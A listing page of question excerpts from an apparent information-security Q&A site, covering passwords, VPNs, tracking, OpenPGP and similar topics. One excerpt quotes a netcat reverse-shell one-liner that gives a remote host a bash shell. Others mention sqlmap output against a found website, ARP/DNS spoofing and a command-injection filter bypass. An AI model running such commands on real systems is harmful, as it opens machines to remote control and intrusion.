0
votes
0answers
9 views

Is it a good idea to combine words from different languages to increase a password's strength?

I was thinking of a way to generate a password that is easy to remember, but hard to crack, like the famous "correct horse battery staple" suggested by XKCD, also discussed here, and I've realized ...
0
votes
1answer
8 views

Does information security justifies Iphone 6's “error 53”?

An update of IPhone 6 software left several IPhones that were previously repaired by an non-certified phone repairer dead. See e.g. this news. Apple claims that this is due to security: A ...
-1
votes
1answer
10 views

Linux distribution on USB stick used to banking for begginers [on hold]

Is it good idea to use up-to-date Linux on USB stick instead liveCD to online banking? What is the best Linux distribution for not advanced people who commonly use Windows to make online payments ...
0
votes
0answers
14 views

How to lock down a Guest Wi-fi?

I have a modem/router from my ISP which I'm forced to use. I would like to provide a Wifi AP for random guest that might show up at my house but I don't want to have their virus-laden PC on my network ...
0
votes
0answers
15 views

Are There Any Measurements for Web-Application Complexity That Positively Correlates to Num. Vulnerabilities?

Web-applications have vulnerabilities. Generally, a more complex web-application has more vulnerabilities, compared with a simpler and smaller web-application. For example, white hat hackers have ...
-1
votes
0answers
23 views

i found a website with mysql error but sqlmap give error [on hold]

so i found a website with an error and i tried to inject him so it give me this error [17:45:35] [WARNING] GET parameter 'pageno' is not injectable [17:45:35] [CRITICAL] all tested parameters ...
1
vote
0answers
18 views

How to prevent IoT devices from phoning home via the neighbor's wifi?

I'm wondering what, if anything, can be done to thwart the sort of attack described below. First, you can assume the following: (1) There are several devices in your home which you have deliberately ...
0
votes
1answer
23 views

Are credentials sent via plain text to HTTP proxy?

If a proxy server requires authentication, and that proxy communicates over HTTP, are the credentials sent over plain text to the proxy server? If this is the case, isn't it possible to sniff the ...
1
vote
0answers
18 views

Pros and cons of this password reset scheme?

I handle the process of password resets at the institution where I work. Currently, we require users to make up questions and answers (three minimum and five maximum); the questions cannot repeat, nor ...
1
vote
1answer
49 views

is it possible to intercept network packets outside lan?

User A is in a different country than user B and they have different IP ranges and ISPs. Is it possible for A to intercept B's communication sent to a third party, without using techniques like ...
0
votes
0answers
10 views

Purpose of nonce validation in OpenID Connect implicit flow

The OpenID Connect specification requires implicit flow clients to generate and validate a nonce: String value used to associate a Client session with an ID Token, and to mitigate replay attacks. ...
2
votes
1answer
34 views

What techniques do advertisement companies use to get my browsing information, and how can I stop them?

In the past year, I've noticed a strangely increasing incidence of advertisements on various web sites being for products that I was browsing for elsewhere. This makes me extremely uncomfortable. It ...
2
votes
1answer
14 views

What are the advantages to OpenPGP “subkeys”?

I'm trying to get started with OpenPGP encryption. I understand the concept of keeping your master key safe, and using other keys signed by that key (which can be revoked if stolen) for encryption and ...
0
votes
0answers
7 views

Followup to one-liner to create cert request with SAN

I've been trying to use the openssl line from this older thread to create a CSR with subject alternative name: Provide subjectAltName to openssl directly on command line If I run the line from that ...
0
votes
2answers
30 views

Guarantee one unique identity per node

I'm in the early stages of designing a decentralised systems protocol, based on a blockchain, for a thesis. For the protocol to remain secure, each node in the system must be capable of generating ...
1
vote
1answer
31 views

Making a file immutable (against kernel exploits)

I'd like to know how to make files completely immutable. "Completely" refers in this case to: immutable while the system is running. I could live with something like physical access where someone e.g ...
0
votes
2answers
33 views

Antivirus connects to their server over port 80

I ran a netstat and noticed that my computer has an always-established connection with my anti-virus (Avast) over port 80. I haven't gone as far as to parse through it in Wireshark, so I can only ...
0
votes
0answers
8 views

Should javascript and css “.map” source maps be included on production servers?

Source maps are a convenient way to work with directly with code that has been obfuscated and/or minified, yet trace errors back to the original "pretty" code. My understanding is that obfuscating ...
0
votes
0answers
10 views

Are there any scareware that install an actual antivirus? [on hold]

I got to thinking about this after reading a bit about scareware, and I thought, could there be a malware example out there that installs a free version of, say, superantispyware or something, but ...
0
votes
1answer
21 views

What type of 'security scan' does a PCIDSS compliance check comprise?

Our firm processes CC information on an ad hoc basis. No cardholder data is ever recorded in any of our databases and we do not grant public access to any of our database or business application ...
0
votes
1answer
49 views

Securing a public computer meant for banking

I sometimes visit my bank personally to handle certain formalities. Inside there is a booth containing a computer and all equipment necessary to log in to the online banking service. The computer is ...
1
vote
0answers
9 views

BREACH attack vs filtered reflected user input

I am in charge of the applicative security of our application and would like to test our exposure to the BREACH attack. Our django-based web application reflects filtered user-input and serves a CSRF ...
-1
votes
0answers
107 views

Anyone know details about this (Scam email warning for DVSA customers) spoof with malware? [on hold]

The subject line reads (DVSA RECEIPT) and it 'looks' like it's from.. vosa.gsi.gov.uk Many folks where I work received this email today, with the attachment. Some actually opened the email and the ...
0
votes
0answers
12 views

Is encryption with a destroyed key a good cryptographic hash function? [duplicate]

Obviously this isn't something I was going to implement, but it was a question floating at the back of my mind. So let's say that instead of hashing passwords to store in the database, you encrypt ...
-1
votes
0answers
28 views

Security in app -> server communication using random 128 bit passwords

I've been visiting this site over from StackOverflow to learn about hash functions for password storage on a server, but none seem to cover my case: App programatically generates a username and ...
1
vote
1answer
53 views

My iTunes account got hacked and someone used it to buy in-app purchase. How could that happen? [on hold]

The account was hacked, I found out in my credit card statement and Apple support gave me refund which is nice. I wonder how it happened, and if there are even more serious risks that I don't know. ...
-1
votes
0answers
35 views

How can I use my WIFI for businee and mange it whom to connect from my pc? [on hold]

I am running a cybercafe... I wish to charge for the wifi within this cafe, how is this possible? I am thinking of the easier alternative of manually allowing user through the routers admin panel. ...
23
votes
4answers
3k views

Script Kiddies - how do they find my server IP?

I've set up a site on Digital Ocean without a domain yet, so there is only the IP. Despite telling no-one of its existence or advertising it, I get hundreds of notices from fail2ban that various IP's ...
0
votes
0answers
28 views

command injection filter bypass [on hold]

I am on a website thhat provides hacking and penetration testing environment safely, I came across a mission which says Agent, you may have already come across the pencil selling ecommerce site ...
5
votes
2answers
85 views

Malicious user inflicting XSS attacks appears to be on my own network

I have a live Django project where I'm using nginx as a reverse proxy with gunicorn as the application server. It's a fairly new project and isn't SSL enabled yet. There's a user on this project who's ...
0
votes
0answers
49 views

Intermediate proxy intercepting my SSL data between my computer and the ISP

I did a simple scan of my linux firewall today using grc.com's shieldsup on their website (https://www.grc.com/x/ne.dll?bh0bkyd20). Previously when doing this it shows I have full stealth but today it ...
3
votes
1answer
1k views

Website Login Security (Secure enough?)

I'm making a bigger site for the first time so security really matters, unlike for my really-bad boards with maybe 10 users. So I wanted to ask if the way I'm doing it is secure enough for a semi-big ...
-1
votes
1answer
28 views

Are there pricing standards for Vulnerability assessment and penetration testing (VAPT) services?

Generally, to conduct vulnerability assessment and penetration testing (VAPT) for an application, we do charge some amount from the client, based on which criteria the companies charge their ...
2
votes
1answer
25 views

Is a “standalone WPS server” possible?

Wi-Fi Protected Setup (WPS) is a network security standard to create a secure wireless home network. It aims at simplifying the enrollment of WiFi devices in a WiFi network (via a PIN, a ...
-5
votes
0answers
13 views

Special questions regarding encryption Albach [on hold]

What is the best encryption software in the server Seconds
1
vote
2answers
21 views

additional network security benefits from double hop dmz?

Core network --> Firewall Internal Zone --> Inner DMZ Firewall --> Outer Firewall --> Internet Based User I can't think of any reason why "Inner DMZ firewall" would make this topology more secured ...
-6
votes
1answer
52 views

Am I Being Hacked? [on hold]

A little long story follow me. I have had a weird experience with my pc in the past couple of days. It happened to me like a year ago. It was that my pc would open some weird trolling website every ...
0
votes
0answers
14 views

Open source software that does virtualised emulation like Fireeye and Palo Alto networks [on hold]

Fireeye Palo Alto networks and the number of other next-generation firewall vendor's provide virtualised sandbox emulation feature where an unknown file type will be executed in a virtualised sandbox ...
0
votes
1answer
42 views

Security concerns of running auto-login script on server-side?

I would like to fetch data from a website to do data analysis on a server. Username and password are required for login to the website. Therefore I will need to run an auto-login script on the server. ...
0
votes
2answers
103 views

Can we store sensitive client information with the admins without them(admins) identifying it?

I am trying to design a pairing application for my university this valentine. How is it supposed to work, you ask?? The clients will submit preferences specifically names to the server and after some ...
0
votes
0answers
3 views

nfqueues and arp spoofing iptables [migrated]

I am ARP poisoning and DNS spoofing my home network for learning purposes. When I get the victim to send their packets to my attacking computer, which rule do I have to create so I can intercept the ...
3
votes
0answers
17 views

Does using the client keep the Keybase server honest even if you also use the web interface?

According to Keybase's documentation: [The] keybase clients in the wild play a crucial role in keeping the Keybase server honest. They check the integrity of user signature chains, and can find ...
13
votes
3answers
1k views

how does reverse shell behave?

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port): nc <ip> -e /bin/bash <port> I've never encountered ...
2
votes
2answers
52 views

In what case should one encrypt cookies?

I am curious how one decides whether to encrypt cookies or not? And if so when should one use public private key over symmetric encryption?
0
votes
0answers
12 views

OSSEC error “agent_control(1750): ERROR: No remote connection configured. Exiting”

I am new to OSSEC and trying to figure the tool to deploy it. I have an ubuntu server where I downloaded and installed the security onion packages. I have a few windows systems which I would like to ...
2
votes
1answer
36 views

Network Architecture for CTF-scenario [on hold]

My boss recently enrolled me in an InfoSec training. I am part of the network team, but have limited experience in InfoSec. My first assignment is to draw a layout of a network that will be used ...
1
vote
1answer
28 views

Can an OpenVPN server track the client os type?

I was wondering when I connect to an OpenVPN server what kind of information can the server extract from my client? Obviously the server can detect my user-id, pwd, but can it detect: My ...
0
votes
0answers
11 views

IPSEC Openswan TCPDUMP [on hold]

What does this mean? is the VPN connection completed or just going round in loops? Why can't I send traffic through the tunnel? 12:38:36.147938 IP (tos 0x0, ttl 245, id 43493, offset 0, flags [none], ...
0
votes
0answers
10 views

Does using Ghostery with Privacy Badger impair PB's heuristic learning?

I am running Ghostery and Privacy Badger for FF. From what I have read at eff.org/privacybadger, PB uses a heuristic algorithm to learn what 3rd-party sites are tracking me. If I am running Ghostery ...
3
votes
0answers
13 views

How do i know when IPSEC Phase 2 Has completed with Openswan?

When I bring up a connection using openswan I get the following output but I don't see any ESP traffic through ports 50, 500 or 4500. # ipsec auto --up globacom-vpn 104 "globacom-vpn" #44: ...

15 30 50 per page